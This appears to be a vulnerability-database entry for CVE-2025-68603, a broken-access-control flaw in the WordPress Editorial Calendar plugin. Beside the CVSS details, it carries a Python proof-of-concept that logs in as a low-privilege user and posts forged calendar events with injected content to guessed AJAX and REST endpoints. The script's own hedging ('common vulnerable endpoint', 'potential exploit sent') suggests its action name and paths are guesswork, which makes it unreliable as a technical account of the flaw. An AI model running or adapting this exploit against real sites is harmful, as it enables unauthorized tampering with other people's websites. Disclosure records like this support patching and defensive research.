CVE-2025-68603

Description

Missing Authorization vulnerability in Marketing Fire Editorial Calendar editorial-calendar allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Editorial Calendar: from n/a through <= 3.8.8.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Editorial Calendar Plugin <= 3.8.8 (所有版本)

Marketing Fire Editorial Calendar (所有受影响版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-68603 PoC - WordPress Editorial Calendar Broken Access Control
# Requires: Valid WordPress account (subscriber role or higher)
# Target: WordPress site with Editorial Calendar plugin <= 3.8.8

import requests
import sys
from urllib.parse import urljoin

TARGET_URL = "http://target-wordpress-site.com"
USERNAME = "attacker"
PASSWORD = "password123"

def get_auth_cookies():
    """Authenticate and get WordPress session cookies"""
    login_url = urljoin(TARGET_URL, "/wp-login.php")
    session = requests.Session()
    
    login_data = {
        'log': USERNAME,
        'pwd': PASSWORD,
        'wp-submit': 'Log In',
        'redirect_to': '/wp-admin/',
        'testcookie': '1'
    }
    
    response = session.post(login_url, data=login_data, cookies={'wordpress_test_cookie': 'WP+Cookie+check'})
    return session.cookies.get_dict()

def exploit_calendar_endpoint(cookies):
    """Exploit the vulnerable Editorial Calendar endpoint"""
    # Common vulnerable AJAX endpoint in Editorial Calendar
    endpoints = [
        '/wp-admin/admin-ajax.php',
        '/wp-json/editorial-calendar/v1/'
    ]
    
    # Example: Unauthorized event creation request
    exploit_data = {
        'action': 'editorial_calendar_save_event',
        'post_title': 'Malicious Event',
        'post_content': 'Injected content via broken access control',
        'event_date': '2025-12-25',
        # Missing nonce verification due to broken access control
    }
    
    for endpoint in endpoints:
        url = urljoin(TARGET_URL, endpoint)
        try:
            response = requests.post(url, data=exploit_data, cookies=cookies)
            if response.status_code == 200:
                print(f"[!] Potential exploit sent to: {url}")
                print(f"[*] Response: {response.text[:200]}")
        except Exception as e:
            print(f"[-] Error: {e}")

if __name__ == "__main__":
    print("[*] CVE-2025-68603 Editorial Calendar Exploit")
    print("[*] Target:", TARGET_URL)
    cookies = get_auth_cookies()
    if cookies:
        print("[+] Authentication successful")
        exploit_calendar_endpoint(cookies)
    else:
        print("[-] Authentication failed")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-68603
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-68603
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-68603/
[4] VulDB https://vuldb.com/cve/CVE-2025-68603
[5] https://patchstack.com/database/Wordpress/Plugin/editorial-calendar/vulnerability/wordpress-editorial-calendar-plugin-3-8-8-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

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